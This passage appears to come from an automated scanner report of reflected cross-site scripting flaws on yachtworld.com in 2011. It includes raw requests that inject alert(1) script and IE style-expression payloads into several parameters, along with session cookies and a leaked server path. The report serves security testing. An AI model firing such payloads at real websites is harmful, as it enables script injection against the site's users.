savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:41:19 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the hosturl request parameter is copied into the HTML document as plain text between tags. The payload dd1c2<script>alert(1)</script>40243fd836b was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /starlingmarine/starlingmarine_1.cgi?company=starlingmarine&limit=50&type=&new=&units=Feet&hosturl=starlingmarinedd1c2<script>alert(1)</script>40243fd836b&page=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:41:12 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarinedd1c2 ...[SNIP]... </script>40243fd836b/boats.footer.html:--> Exception while reading the file:/opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarinedd1c2<script>alert(1)</script>40243fd836b/boats.header.html exception is java.io.FileNotFoundException: /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarinedd1c2<script> ...[SNIP]...
The value of the 11.4-Build-105&locale request parameter is copied into the HTML document as plain text between tags. The payload eaf66<script>alert(1)</script>e7ce53c4373 was submitted in the 11.4-Build-105&locale parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/cached/includes/css/stylesheet-intl.css?11.4-Build-105&locale=useaf66<script>alert(1)</script>e7ce53c4373 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:57:25 GMT Server: Apache Cache-Control: private, max-age=31536000 Expires: Fri, 27 Jan 2012 20:57:25 GMT P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Vary: User-Agent Connection: close Content-Type: text/css
/*********** FROM STYLESHEET HOME *********/ bod ...[SNIP]... <br>/cached/includes/css/stylesheet-useaf66<script>alert(1)</script>e7ce53c4373.css<br> ...[SNIP]...
The value of the refer_page request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 216fd"><script>alert(1)</script>e5f395519b4 was submitted in the refer_page parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/globalnav/emailForm.jsp?send_to=tech&refer_page=/core/globalnav/contactUs.jsp216fd"><script>alert(1)</script>e5f395519b4 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:57:35 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the send_to request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 887c1"><script>alert(1)</script>533f035028b was submitted in the send_to parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/globalnav/emailForm.jsp?send_to=tech887c1"><script>alert(1)</script>533f035028b&refer_page=/core/globalnav/contactUs.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:57:34 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.529. https://www.yachtworld.com/core/listing/advancedSearch.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.yachtworld.com
Path:
/core/listing/advancedSearch.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4f21"style%3d"x%3aexpression(alert(1))"aae8494ed66 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b4f21"style="x:expression(alert(1))"aae8494ed66 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /core/listing/advancedSearch.jsp?b4f21"style%3d"x%3aexpression(alert(1))"aae8494ed66=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 